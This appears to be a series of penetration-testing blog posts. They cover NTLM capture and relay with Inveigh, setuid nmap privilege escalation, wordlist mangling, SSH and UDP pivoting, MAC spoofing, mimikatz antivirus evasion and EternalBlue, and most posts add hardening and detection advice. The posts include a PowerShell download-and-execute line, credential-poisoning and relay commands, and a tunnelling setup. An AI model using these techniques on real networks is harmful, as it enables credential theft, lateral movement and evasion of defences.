NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh!

In this post we will be looking at NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh! Whats this all about then, and why should I be bothered by it? For a penetration tester Responder by Laurent Gaffie http://www.spiderlabs.com is a great tool for responding to LLMNR (Link Layer Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) queries from workstations and servers on the same subnet. Ultimately being able to capture NTLM/NTLMv2 user names and password hashes on the wire, also being able to relay these credentials onto another host for authentication. I’ve talked about this before here so won’t go into the specifics in this post. This tool is not meant to work on Windows, and is specifically designed to work in Linux, Kali. Inveigh is a windows based version of this written for PowerShell  by Kevin Robertson and can be found here https://github.com/Kevin-Robertson/Inveigh. This is particular useful in many situations. It allows you to test this vulnerability in windows from an attack machine, however more importantly if you compromise a Windows workstation you may be able to download the PowerShell script to the target machine, worse load it straight into memory with an IEX call and carry out the attack from this machine. Further to this imagine the scenario where by the target machine is a pivot point into another network i.e. dual homed.

Lets dig into the action and see it working. In this lab we have a Domain Controller, two Windows machines and WebServer. The Webserver is dual homed with 1 nic into the corp network on and the other into the DMZ on, all other machines reside in the corp network. We will imagine the Webserver  has been compromised through some exploit and we have rdp access at admin level out through the DMZ. We will stage the Inveigh code into memory on the compromised host and attempt to poison LLMNR and NBT-NS requests on the leg into the corporate network. This is a run down of the machines:

Webserver (compromised) nic 2 nic 1 (non-domain joined)
W7-1 nic (Test.com\W10)
W10-2 nic (Test.com\W10-2)
DC nic (Test.com\DC1)

On the Webserver we will start off by downloading Inveigh in PowerShell and loading it into memory with:

IEX (New-Object Net.WebClient).DownloadString(“”)

For the sake of the Lab we will assume our attacking box is out on the internet.

Now we will invoke the function Inveigh, we will use some added options, note we are specifying the corporate network adapter with the parameter -IP. This will allow us to poison requests for the corporate network:

Invoke-Inveigh -IP -ConsoleOutput Y -NBNS Y

 Mean while our W10-2 machine makes a request to the DC for the resource \\fileserver1.
This resource doesn’t exist in our network and so the windows 10 machine makes a multicast name request across the network, first with NBT-NS then through LLMNR, we can more clearly see this taking place in Wireshark.
At this point our Webserver running Inveigh responds to the request:
 The SMB challenge response takes place:
And bingo! W10-2 sends its NTLMv2 creds over the wire to the Webserver where they are captured:
We can then take this user name and hash and run it through John the Ripper or Hashcat for further use.
You can stop Inveigh by pressing any key then issuing ‘Stop-Inveigh’.
There are other command line parameters that can be passed with the Inveigh script, switching options on and off for example ‘ConsoleOutput -Y’ will output any captured user names and hashes to stdout.
There is also the option to relay the NTLM/NTLMv2 hashes through to another Windows system. This can be done by additionally loading ‘InveighRelay.ps1’ into powershell then first ‘Invoke-Inveigh’ and then ‘Invoke-InveighRelay. The second Invoke-InveighRelay command might look something like this:
Invoke-InveighRelay -ConsoleOutput Y -Target -Command “…..”
The ‘-Command’ parameter can take an array of commands including a launcher from PowerShell Empire as well as other PowerShell commands.
How do we fix this? And stop it from happening?

Firstly enable SMB signing, this does give a slight performance hit however in my opinion worth the sacrafice. Secondly disable LLMNR and NBT-NS, these are old methods for name resolution. You may have legacy applications in your environment that may potentially still use LLMNR and NBT-NS for broadcast name resolution. Due to this thorough testing should be carried out first. If this is the case get onto the vendor for some answers as to why! Otherwise we can disable both LLMNR and NBT-NS via GPO. We can also enable SMB Signing via GPO.  For LLMNR and SMB Signing there are native GPO setting. For NBT-NS there is no native GPO setting however it can be set in the registry. The registry key references an interface name which has its own unique GUID so can’t be changed in GPO via a registry key change (as the key will be different every time), however we can use powershell and do a ‘catch all’ on that key and thus script and then run via GPO. I’ll demonstrate below.

You can disable LLMNR via Group Policy in your domain or locally, go to:

Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client

In the DNS Client settings select “Turn Off Multicast Name Resolution” and set it to ‘Enable’ like below:

Disabling LLMNR

Disabling NBT-NS can be done in the windows networking as shown below:

On the ‘Advanced TCP/IP Settings’ screen select ‘Disable’ radio button for ‘NetBIOS over TCP/IP’.

Disabling NBT-NS

Changing the above will make the following change in the registry, value data 2 is for disable, 0 is the default setting:

NBT-NS disable via registry

Which in turn can be changed via powershell with the following line, this will change all interfaces (notice the tcpip* for the catch all):

The below script can be set to run at startup via GPO:

If we disable NBT-NS first and re-try the whole scenario by requesting a resource of ‘\\fileserver2’ we can see in wireshark that no NBT-NS requests are sent, only LLMNR.

If we disable LLMNR via GPO and re-try requesting \\fileserver3 we now see no LLMNR or NBT-NS requests. Great!

 I hope this has been helpful for someone!

Linux Privilege Escalation with Setuid and Nmap

I recently completed a CTF ‘boot to root’ style virtual machine from vulnhub.com and encountered an interesting privilege escalation technique that I thought I would share. Vulnhub is a lot of fun check it out for practice, I’ve recently had a lot of fun with online and offline virtual machine CTF’s and continue to learn a lot. To cut a long story short, I ended up landing a limited user shell on a Linux web server through a php script back to meterpreter. I dropped into a shell from meterpreter, the user had limited access. I was essentially logged in as the web server deamon user id. I started off going through the usual Linux enumeration, gathering some basic information, getting my bearings. A few tasks later on, I started to look at how I could escalate my privileges. I started  looking at files in the file system that could be executed as root. I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:

Breaking the above command down:

find – the find command 😉
/ – this is where we are looking in the file system, ie in the root.
-user root – looking for files with the owner of root.
-perm -4000 – looking for where the permissions of file are set to 4000
– exec ls -la – executing the commands ls -la. So we can see additional info.

In the list of files returned I came across the below:

I was able to abuse the above by executing nmap in the context of root. Nmap is set this way as it needs to run in the context of root to be able to perform its many functions. This version of Nmap has an interactive mode, where we are able to execute commands (you can already guess where this is going!). This can be called with ‘nmap –interactive’ which then gives us a special prompt ‘nmap>’. With this prompt we can then execute commands with an ! in front. Even drop into a shell with an EUID as root.

As we can see from the id output the ‘UID’ ie the ‘user id’ is ‘robot’ however the ‘EUID’ ie the ‘effective user id’ is root. Yay!

Well hopes this small snippet of info helps. Happy New Year to all!


Creating and mangling custom word lists!

Creating custom word lists:

In this post we are going through how to generate custom word lists with extra combinations based on an initial set of predefined words or generated words using John The Ripper. Why would we want to do this. Well you probably already have giant word lists that you can download from the internet such as the famous ‘rockyou’ list. Or passwords lists from breaches etc. What these huge lists don’t have are tailored words to suit your target specifically. For example we could use a tool called Cewl to spider a website and scrape all words on this site with a minumim length of 6 and a max of 10.  We could also add words manually that relate to that target specifically. We then have a very custom set of words to do with that target, in which to generating new words for. (Obviously for a penetration test of which you have authoirsation to test). We could then use another program such as John The Ripper (JTR) to generate iterations of those words, for example adding the year to the end of the word. (this is a classic)

In this example we will use the list ‘list1.txt’ as our starting point. We will then use commands to output a new file called ‘newlist1.txt’. We will use JTR in Kali to do this. JTR has a set of predefined rules that will generate us new words based on the original words in any given list. We will add custom rule sets in JTR to generate different combinations of the original word(s). This configuration is found in /etc/john/john.conf.

Lets get started with an example.  If we start with the list ‘list1.txt’ and add one word to keep things simple so we can see the words being generated by JTR and our custom rules. Lets start with the below rule which we will append to the bottom of our john.conf file like below:

Append the below text to the bottom of our john.conf file:

#My Custom rules.

like so:

custom rules in john.conf

Now use JTR to generate words using the below command:

john –wordlist=list1.txt –rules=Rule1 –stdout > newlist1.txt

Which looks like:

new words generated by JTR rule1

As you can see this simple rule adds numbers 0-9 to the end of the word and adds it to the new list called newlist1.txt.

Lets try a few more rules how about the below, append the text to the bottom of your john.conf.


custom rules in john.conf 2

Which will in turn generate us the below:

new words generated by JTR rule2

As you can see I have had to tail the newlist.txt file as john has created a huge list, 11176 to be precise.

There are multiple sets of rules available across the internet, for example Korelogic have rules check them out here. See below for some further example rules:

#My Custom rules.

#Replace letters for numbers



Setting up a quick DHCP server in Linux with dnsmasq

This is just a short post to walk through setting up a quick DHCP server in Linux with dnsmasq. In Kali Linux 2.0  to be precisely. You can read more about dnsmasq here. Why might you want to do this? Well, couple of reasons spring to mind whilst on a pentest, setting up application testing, network boot a laptop that’s under review or setting up a wifi/rougue access point are a few that spring to mind.

First install dnsmasq with:

apt-get install dnsmasq

Then edit the dnsmasq config file with your favourite editor:

The config that we might use in a couple of different scenarios would look something similar to the below. You can comment lines out that you don’t want with a ‘#’:

Once you have made your changes restart the dnsmasq service with:

Simple. Hope this quick tip helps.


Pivoting through SSH with dynamic port forwarding.

snmp-check UDP over SSH

Pivoting through SSH with dynamic port forwarding. Just a quick post about how we can pivot to an internal/dmz network through a host via SSH. This is a classic example of how we might want to pivot through one host to get to an internal or dmz network using SSH as a tunnel. We can essentially tunnel our traffic of this SSH tunnel via the compromised host to an inside network.

The scenario… A picture paints a thousand words… Essential our ‘Hkali’ machine is on the outside. Our Ubuntu Server is in the internal/dmz, this is going to be our pivot point.

So in this scenario the firewall is only allowing inbound access to our Ubuntu server, on port 22  from our attack box running Kali2.0 ‘HKali’. So from Hkali all we can see is port 22 open on We suspect from our initial enumeration that other servers might be in this network. However, we want to check out the rest of the subnet ie ‘WS2K32’ and ‘meta’ to see whats actually there. Imagine we have compromised the ubuntu server already and have gained login details.

Starting at our attacking machine we will SSH into ‘Ubuntu’. In order to be able to forward traffic for any TCP port on through our SSH tunnel we will want to take advantage of Dynamic port forwarding and specify the ‘-D <port>’ command. This uses ‘Dynamic’ port forwarding feature of SSH. This will allow us to send other tools with Kali to localhost:1234 and thus onward onto any route able networks the ‘Ubuntu’ server can see.

Our command would look similar to the below:

ssh root@ -D 1234

Before we go any further there are some useful additional options we can pass on the ubuntu server in the SSH command, these being below. However the minimum we need to specify is just the -D for dynamic forwarding:

-f: Sends the process to the background. If you do this you will have to kill the process ID rather than just closing the terminal window as it will already be closed. This is easy enough use ‘ps aux | grep ssh’ to get the process ID then ‘kill <ID number>’.
-C: Compresses the data before sending it through the tunnel, mixed success with this, so experiment.
-q: Uses quiet mode.
-N: Tells SSH that no command will be sent through once the tunnel is up.

If we take a look at our local network connections we can in fact see our ssh connections and also our localhost listening on port 1234.

netstat -antp ssh dynamic ports

We can now use a socks proxy or equivalent to proxify our traffic through the SSH tunnel and onward to the inside network. For this we will use proxychains. Lets look at how we could do this using a socks4 proxy. First a look at our proxychains configuration. Lets open up /etc/proxychains.conf and ensure the the following line is set in the last line. (note the port should be whatever you used in the SSH command after the ‘-D’.

dynamic port forwarding SSH proxychains

Now we can proxify something like nmap through to the internal network. Bear in mind we can only proxify full TCP connect commands. So UDP traffic/tools such as snmp-check won’t work – however, we can proxify udp in an alternative way, I describe this here. Some tools won’t play nice with proxychains, so play around in your lab and experiment.




Adding your own or custom exploits to Metasploit! Eternalblue, SambaCry?

Adding your own or custom exploits to Metasploit is easy. If your creating your own exploits for Metasploit  in ruby or want to import custom exploits that you have come across that are not in the main repository then you can follow these simple steps. Why might you want to do this? Well there are certain scenarios such as if you are creating your own exploits or scan scripts. Or you want to test out the bleeding edge exploits without moving to the development edition of Metasploit. For example the ms17-010 exploit or the SambaCry for Linux are currently available to add to Metasploit however are not in the main repo’s yet (at time of writing this). This will allow you to import the ruby scripts, add them to Metasploit an run them in your own labs.

Within Kali2.0 you will have a hidden folder in your root home directory called msf4/modules. Move into this folder and then simply create the following directories .msf4/modules/exploits/windows. Also a folder for Linux respectively .msf4/modules/exploits/linux.

You can then add your ruby scripts to these folders.

Adding custom exploit scripts to Metasploit

Then fire up Metasploit and run ‘reload_all’.

relaod_all Metasploit custom exploits

You should now be able to search or call your new scripts. Remember if your database cache isn’t built follow these steps here.

Add custom exploit scripts to Metasploit ms17_010

Hope this little tip helps.


Tunnel snmp-check and other UDP traffic over SSH

Today I will be walking you through how to tunnel snmp-check and other UDP traffic over SSH.

In this example we are tunnelling UDP over SSH to circumvent firewall rules on the outside. Our firewall rules are only allowing access into the other side of the firewall to TCP port 22 on a Ubuntu server. We don’t have access to any other TCP or UDP ports. The only method of communication into the environment is via SSH to our Ubuntu server. We will use this server as jump/pivot point for other traffic. Imagine we have earlier identified through cdpsnarf using SSH dynamic port forwarding and proxychains another router, we want to enumerate this further. Our next goal in this case is to try and enumerate SNMP UDP port 161 on target router with a public community string. This example could also be applied to all sorts of UDP traffic such as DNS for example were we want to tunnel our local DNS requests to a server behind a firewall. Zone transfer maybe?tunnel snmp-check and other UDP over SSH

Attack machine: Kali Linux
Pivot Server: Ubuntu
Target: GNS3 Cisco Router

We are going to do this by sending our local UDP traffic through netcat (handling UDP) into a fifo process back into netcat (handling TCP), through the ssh tunnel then in reverse the other end. Yes I know bit of a brain teaser! You can read more about fifo files here, they are similar to pipe in linux. In essence we are sort of writing the output to a file (without actually writing anything) then sending it on its merry way through netcat via TCP then down the tunnel. Its best we see this in the flesh with an example.

We begin on the Attack machine by running up the ssh connection, here we are forwarding TCP port 6666 on localhost to TCP 6666 on the remote pivot server:

Then on the Pivot Server we create a fifo file for netcat to talk too:

On the Attack machine we do similar:

In second terminal on the attack machine:

Run up ‘netstat -au’ to verify snmp is listening on the local machine.

UDP netstat connections

We can then simple run snmp-check to localhost.

snmp-check over SSH


Looking further down the information we discover the following:
snmp-check over SSH another netowrk


Another network interface, is this possibly the internal network and route to DA..? Maybe in the next post…

Bingo UDP and snmp-check over an SSH tunnel, awesome!


Quick tip! Changing your MAC address in Windows, Linux and OSX is simple.

Changing your MAC address in Windows, Linux and OSX is simple. In this post I show you how:

For Windows:

In windows we can use PowerShell, to lookup the adapter name:

Then using the name of the interface we want to change specify:

For Linux:

In Kali Linux we can simple run macchanger specifying the -r for random and the interface name as below:

For OSX:

Open a terminal and type:



Avoiding AV detection when running mimikatz with sed!

In this post I will be talking about avoiding AV detection when running mimikatz with sed! I came across this on the BlackHills Information Security Website, link here. Props to Carrie Roberts for sharing this. The classic Invoke-Mimikatz.ps1 from the PowerSploit suite located here, does get detected by many Anti-Virus vendors. This really is a great for the Enterprise. However whats not so great is the way in which AV vendors are detecting it and how it can be easily bypassed! Yes AV can easily be bypassed by modifying the powershell file. Using ‘sed’ in bash we can swap out various text in the ps1 file. For example swapping out mimikatz for mimidogz as in line 1 below.

I have talked about slowing down attackers who are using mimikatz in this post. This is where we can deny access to the clear text credentials in early versions of Windows (up to windows 7). In later versions of windows (8 and above) we can deny access to the hash and the clear text credentials. This will only slow attackers down though as the OS can be modified, however this will make noise on the network. This is really is a must for slowing down attackers. Harden your systems!

Below are the sed commands:



The Shadow Brokers dump – Eternalblue, DoublePulsar – Hello SYSTEM!

Well The Shadow Brokers dump certainly tied up a proportion of time of the Easter weekend for myself and I suspect many infosec bods. It turns out the exploit framework known as fuzzbunch which was released as part of the dump is tied to the ‘Equation Group’ threat actor,  the NSA’s Tailored Access Operations (TAO) according to Wikipedia. From my testing, this is the real deal and pretty effective at allow one to gain SYSTEM level access over an an unpatched supported operating system. It should be noted that many of the exploits have been patched by Microsoft in this months patch Tuesday, most notable MS17-010.  Interestingly there is no attribution from Microsoft in terms of who tipped MS off about the vulnerabilities, one would question whether this was the reason why MS skipped the previous months patch Tuesday.

Utilising the exploit module Eternalblue and doublepulsar from fuzzbunch coupled with Empire or Metasploit is a quick win for gaining SYSTEM level access on any unpatched systems.  If this is not patched in my view this is the next MS08-067 it terms of exploit-ability. The MS08-067 vulnerability was a classic RCE (remote code execution) and easy exploit for 9 times out 10 gaining SYSTEM level access in minutes on a pentest. In my view from my testing that I have completed in the lab with Windows 7 Professional 64bit this new vulnerability in SMB v1.0 is no different, requiring only a few extra steps. Ultimately allowing system level access in a reverse shell… yes those words should make your shudder at the thought. Ensure your systems are patched.

fuzzbunch exploit framework

What is also interesting is that these tools are from 2011-2013, as they require early python versions. One can’t help but think there are a whole raft of new tools being used in the wild potentially by the other nation state threat actor groups. This point simply emphasises the need for secure configuration in addition to mandatory patching. If indeed tools like this are out in the wild we need to ensure secure configuration in the enterprise, ie segmentation, tightening host based firewalls (yes removing access to 445 on your clients), effective monitoring, to name just a few.

How can we detect Double Pulsar?

There are a couple of ways we can detect if double pulsar has been used. Using a vulnerability scanner such as Nessus we can firstly detect whether the Critical patch MS17-010 is missing:

Nessus MS17-010

Nessus will also detect whether double pulsar has been used on a machine by sending an SMBv1 Trans2 request  .

Nessus Doublepulsar detection

In addition to this we can also use nmap’s scripting engine and invoke the smb-double-pulsar-backdoor to check if the target machine is running the Double Pulsar SMB backdoor:


There are also some other specific detection scripts available on github by Luke Jennings available here and a auxiliary scanning module in Metasploit for detecting MS17-010 auxiliary/scanner/smb/smb_ms17_010.

How can we mitigate this threat?

  • Patch Patch and Patch some more, can’t emphasis this enough.
  • Stop using SMB1 as describing and advised by Microsoft in this blog post.
  • If you have SMB port 445 exposed on any systems review why and ensure only systems that need to access this port have access. Do your windows 7 clients really need this port?
  • Ensure your Firewalls are switched on and appropriate firewall configuration is in place. ie don’t just switch it on and allow everything through in any case.
  • Migrate your out of support systems XP and 2003 to new supported versions of MS Operating Systems.

Additional info from Microsoft on the Shadow Brokers was released here.